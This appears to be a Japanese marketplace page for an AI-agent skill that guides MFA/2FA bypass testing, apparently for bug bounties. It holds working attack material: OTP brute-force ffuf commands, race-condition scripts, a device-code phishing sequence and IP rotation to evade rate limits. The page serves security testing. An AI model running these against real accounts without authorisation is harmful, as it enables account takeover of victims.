mcpField
H
hunt-mfa-bypass

hunt-mfa-bypass

github.com/uphiagoセキュリティ1.3k43 回インストール8 週間前に更新
リポジトリ

hunt-mfa-bypass について

認証フローの MFA・2FA バイパスを調べるセキュリティテスト用スキルです。OTP、バックアップコード、デバイス信頼、競合状態、SSOを扱い、兆候と確認済みの問題を区別する検証方法も示します。

主な機能

  1. 0111種類のMFAバイパスパターン
  2. 02OTPとバックアップコードのテスト
  3. 03認証フローとSSOの確認
  4. 04競合状態のテスト手順
  5. 05検証チェックリストと注意点

活用シーン

  1. 01OTP試行にレート制限があるか確認
  2. 02使用済みOTPやバックアップコードの再利用をテスト
  3. 03ログインやSSOでMFAが強制されるか検証
  4. 04MFA検証の並行処理を評価

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/uphiago/recon-skills --skill hunt-mfa-bypass

インストール後、Claude Code で/hunt-mfa-bypassを入力して読み込まれたか確認します。

詳細

19. MFA/2FA バイパス

増加傾向にあるバグの種類です。7 つの異なるパターンがあります。事前のセッションなしでアカウント乗っ取り(ATO)を可能にする場合、High/Critical の評価になります。

パターン 1:OTP のレート制限がない
# Test with ffuf — all 1M 6-digit codes
ffuf -u "https://target.com/api/verify-otp" \
  -X POST -H "Content-Type: application/json" \
  -H "Cookie: session=YOUR_SESSION" \
  -d '{"otp":"FUZZ"}' \
  -w <(seq -w 000000 999999) \
  -fc 400,429 -t 5
# -t 5 (slow down) — aggressive rates get 429 or ban
パターン 2:使用後に OTP が無効化されない
1. Login → receive OTP "123456" → enter it → success
2. Logout → login again with same credentials
3. Try OTP "123456" again
4. If accepted → OTP never invalidated = ATO (attacker sniffs OTP once, reuses forever)
パターン 3:レスポンスの改ざん
1. Enter wrong OTP → capture response in Burp
2. Change {"success":false} → {"success":true} (or 401 → 200)
3. Forward → if app proceeds → client-side only MFA check
パターン 4:MFA の手順をスキップする(ワークフローバイパス)
# After entering password, app sets a "pre-mfa" cookie → redirects to /mfa
# Test: skip /mfa entirely, access /dashboard directly with pre-mfa cookie
# If app grants access without MFA = auth flow bypass = Critical
curl --max-time 30 --connect-timeout 10 -s -b "session=PRE_MFA_SESSION" https://target.com/dashboard
パターン 5:MFA 検証時の競合状態
import asyncio, aiohttp

async def verify(session, otp):
    async with session.post("https://target.com/api/mfa/verify",
                            json={"otp": otp}) as r:
        return r.status, await r.text()

async def race():
    cookies = {"session": "YOUR_SESSION"}
    async with aiohttp.ClientSession(cookies=cookies) as s:
        # Fire ~30 concurrent submissions of the SAME OTP to hit the TOCTOU
        # window before the server marks it used. Two requests are NOT enough —
        # they almost always resolve sequentially as "already-used" (false negative).
        # Best done as a single-packet / 20+ HTTP-2-stream attack (Turbo Intruder).
        results = await asyncio.gather(*[verify(s, "123456") for _ in range(30)])
        # Race confirmed if >1 success (or 1 success among many "already-used").
        for status, body in results:
            print(status, body)
asyncio.run(race())
パターン 6:バックアップコードの総当たり
Backup codes: typically 8 alphanumeric = 36^8 = ~2.8T (too large)
BUT: check if backup codes are only 6-8 digits = 1-10M range = feasible with no rate limit
Also test: can backup codes be reused after exhaustion? Some apps regenerate predictably.
パターン 7:「このデバイスを記憶する」による信頼の昇格
1. Complete MFA once on Device A (attacker's browser)
2. Capture the "remember device" cookie
3. Present that cookie from a new IP/browser
4. If MFA skipped = device trust not bound to IP/UA = ATO from any location
MFA の連鎖的な権限昇格
Rate limit bypass + no lockout = ATO (Critical)
Response manipulation = client-side only check = Critical
Skip MFA step = auth flow bypass = Critical
OTP reuse = persistent session hijack = High
パターン 8:OAuth デバイスコードフローの MFA バイパス
Device authorization grant (RFC 8628) - skips interactive user-agent,
meaning MFA challenge is NEVER presented. The device code flow has no
session where the IdP can enforce an MFA step-up.

Detection:
  curl --max-time 30 --connect-timeout 10 -s "https://target.com/.well-known/oauth-authorization-server" | jq ".device_authorization_endpoint"
  # If present -> device code flow enabled; test if MFA is bypassed

Azure exploitation example:
  1. POST to https://login.microsoftonline.com/<tenant>/oauth2/v2.0/devicecode
     Body: client_id=<app_id>&scope=user.read%20openid
     -> Returns device_code, user_code, verification_uri
  2. Attacker sends user_code to victim via phishing -> victim enters code
  3. Meanwhile attacker polls: POST https://login.microsoftonline.com/<tenant>/oauth2/v2.0/token
     Body: grant_type=urn:ietf:params:oauth:grant-type:device_code&device_code=<device_code>&client_id=<app_id>
  4. On victim approval -> attacker receives access_token + refresh_token
  5. If app does NOT enforce MFA on device code grant -> token without MFA check
パターン 9:バックアップコードの総当たり(ffuf ベース)
Recovery/backup codes often have lower entropy than advertised - some IdPs
use sequential or timestamp-seeded codes. Test with ffuf:

  ffuf -u "https://target.com/api/mfa/verify-backup" \
    -X POST -H "Content-Type: application/json" \
    -H "Cookie: session=YOUR_SESSION" \
    -d '{"backup_code":"FUZZ"}' \
    -w <(seq -w 00000000 99999999) \
    -fc 400,401,429 -t 10 -p 0.1-0.5

  Key checks:
  - Purely numeric? 8-digit = 100M (feasible in hours at 5K req/s)
  - Format-locked? (e.g., "XXXX-XXXX" - hyphen reduces search space)
  - Per-IP rate limiting? Rotate IPs if per-IP, not per-code
  - Invalidated after use? If not -> reuse same code for all accounts
パターン 10:SSO バイパスによる MFA
SSO integrated with MFA at IdP level, but SP-initiated SSO (Service Provider
initiates SAML/OIDC flow) may skip MFA if IdP does not re-auth:

  1. User authenticates to IdP with password only (no MFA)
  2. IdP issues SAML assertion or ID token WITHOUT MFA claim (amr != mfa)
  3. SP trusts assertion without checking acr/amr values -> grants access

Detection:
  - Check SAML AuthnContextClassRef for expected MFA class
  - OIDC: decode ID token JWT, check the "amr" claim
  - If SP accepts tokens without "mfa" in amr -> bypass confirmed

Test: initiate SP login -> intercept SAML/OIDC request -> strip MFA params ->
forward to IdP. If assertion issued without MFA challenge -> SP grants access
パターン 11:生体認証 MFA のバイパス
Server-side biometric verification (fingerprint scan, face match) where raw
biometric data or match-result token is sent to server can be replayed.

  1. Intercept biometric submission in Burp (Base64 image or match token)
  2. Capture the "biometric_verified: true" response or signed assertion
  3. Replay same payload in new session (different browser/device)
  4. If accepted without freshness (nonce, timestamp, device binding) -> bypass

Common weak implementations:
  - Static biometric challenge (not per-session nonce)
  - JWT result lacking "iat"/"jti" claims -> replayable
  - Server trusts client-reported "passed" boolean

Detection: capture token, wait 5 min, replay in Burp Repeater. If accepted ->
no freshness check. POST /api/biometric/verify {"token":"eyJ..."}

更新された検出方法

Trace full auth flow in Burp Proxy HTTP history with explicit state transitions:

  1. Credential submission      ->  POST /api/login          -> set-cookie, redirect
  2. MFA challenge request      ->  GET /mfa/challenge       -> challenge data
  3. MFA verification           ->  POST /api/mfa/verify     -> auth token/cookie
  4. Post-MFA resource access   ->  GET /dashboard           -> 200 OK (authed)
  5. Sensitive action (no MFA)  ->  POST /api/change-password -> 200 (no step-up)

Check each transition:
  - Can (1->4) be forced by skipping (2->3)? (Pattern 4 - workflow bypass)
  - Does (3) accept the same payload twice? (Pattern 2 - OTP reuse)
  - Is (3) idempotent under concurrent load? (Pattern 5 - race condition)
  - Does (5) bypass MFA step-up? (Pattern 1 variant - sensitive endpoint)

JWT audit after each step:
  for token in $(cat captured_tokens.txt); do
    echo "$token" | cut -d. -f2 | base64 -d 2>/dev/null | jq ".amr, .acr, .mfa, .auth_time"
  done
  # Look for: missing "mfa" claim, stale "auth_time", missing "amr":["mfa"]

Turbo Intruder PoC — MFA の競合状態

"""Turbo Intruder script for MFA race-conditions (Pattern 5 - advanced).
Single-packet attack via HTTP/2 connection reuse - fires 30+ OTP submissions
in one TCP segment before the server processes any, maximizing TOCTOU."""

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           engine=Engine.BURP2)
    # Fire 30 parallel OTP submissions on the SAME session
    for i in range(30):
        engine.queue(target.req, {"otp":"123456"}, learn=0)

def handleResponse(req, interesting):
    table.add(req)
    if chr(34)+"success"+chr(34)+":true" in req.response:
        print(f"[RACE WIN] Request {req.id} succeeded - MFA race confirmed")
        print(req.response[:500])

競合状態の検証チェックリスト

1. Run >=30 parallel requests (2-5 is insufficient - sequential resolution)
2. Use HTTP/2 single-packet attack (Turbo Intruder BURP2 or Python h2 library)
3. Confirm >1 requests return {"success": true} (or 1 success + N "already_used")
4. Verify the OTP is consumed afterward (replay should fail)
5. Document: server-side atomicity gap confirmed - all OTP codes are vulnerable

検証

次のセルフテストを実行して、MFA バイパスの調査準備が整っていることを確認します。

  1. スキルの整合性 — スキルファイルが読み取り可能で、形式が正しいことを確認します。

    grep -q "name: hunt-mfa-bypass" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL"
    grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL"
    
  2. カテゴリの確認 — スキルにカテゴリがあることを確認します。

    grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL"
    
  3. 落とし穴のセクション — 落とし穴が記載されていることを確認します。

    grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
    

3 つすべてのテストで、スキルが適切に構成され、使用可能な状態であることを確認します。


注意点

  • 直接 URL にアクセスする MFA バイパス — 初回ログイン後、MFA の前に /dashboard に移動する方法が最も一般的なバイパスです。ログイン後のすべてのパスをテストしてください。
  • レスポンスの改ざん — レスポンスの {"mfa_required":true} を false に変更しても、サーバーがクライアント側の状態を信頼する場合に限り、バイパスになります。
  • MFA コードの再利用 — 有効期間内にコードを再利用できる場合は、有効期間の長さと再利用可能な回数を記録してください。
  • バックアップコードの総当たり — バックアップコードは通常 8 文字以上です。実行可能性はレート制限によって異なります。悪用可能だと判断する前に、レート制限をテストしてください。
  • 再認証なしでの MFA 登録 — 現在のパスワードまたは OTP による検証なしで新しい MFA デバイスを追加できることが問題であり、MFA 自体が問題なのではありません。

関連するスキルとチェーン

  • hunt-ato — MFA バイパスはプリミティブであり、ATO はその到達点です。チェーンのプリミティブ:Cookie の窃取(XSS またはセッション固定化を介する)+パスワードオラクル(ログイン応答の時間差/長さの差から、有効なパスワードをロックアウトなしで特定する)+パスワード変更エンドポイントで MFA による追加認証がない = OTP チャレンジに一度も直面することなく持続的な ATO が成立し、パスワードが変更され、攻撃者によって被害者が締め出されます。
  • hunt-race-condition — パターン 5(OTP の競合)は競合状態の領域に該当するため、両方のスキルを一緒に読み込んでください。チェーンのプリミティブ:同じ 6 桁の OTP を 20 個の並列 HTTP/2 ストリームで(Turbo Intruder によるシングルパケット攻撃)、サーバーが使用済みとしてマークする前に送信する → 1 件成功+19 件が「使用済み」→ 競合ウィンドウを確認 → 攻撃者はブルートフォースする必要はなく、1 回推測して並列化するだけ → ATO。
  • hunt-auth-bypass — MFA ステップのスキップは、ワークフローレイヤーでの認証フローバイパスです。チェーンのプリミティブ:パスワードステップ後に発行された MFA 前の Cookie + /mfa ルートをスキップして /dashboard へ直接移動 + サーバーは /mfa のみをミドルウェアで制御し、/dashboard は制御しない = パスワードのみの状態から認証後の完全なアクセスが可能になり、ルートの制御位置が誤っていたため MFA が一度も強制されません。
  • hunt-misc — /api/me 経由でのリカバリーコードのダンプはその他クラスの情報漏えいですが、チェーン化されると重大度は Critical になります。チェーンのプリミティブ:/api/me が backup_codes 配列を含むユーザーオブジェクト全体を返す(平文で、ローテーションされない)→ 任意の読み取り IDOR または XSS を持つ攻撃者がバックアップコードを外部へ持ち出す → バックアップコードを 1 つ使用する → MFA を通過する → OTP の知識なしで ATO が成立する。
  • security-arsenal — OTP ブルートフォースのペイロードセクション(000000-999999 のワードリストジェネレーター、-t 5 -p 0.5-2 を使った ffuf のレート制限回避パターン、proxychains による分散 IP ローテーション)と、JWT の「MFA 通過済み」クレームを偽造できる場合は JWT トークンリプレイの表を参照してください。
  • triage-validation — 攻撃者がすでにパスワードを知っている場合にのみ機能する MFA バイパスを Critical と判定する前に、Pre-Severity Gate を実行してください。単独の MFA バイパスは High、パスワードオラクルとのチェーンは Critical、Cookie 窃取のみとのチェーンも Critical です。このチェーンに関する問いによって、両者を区別できます。

コメント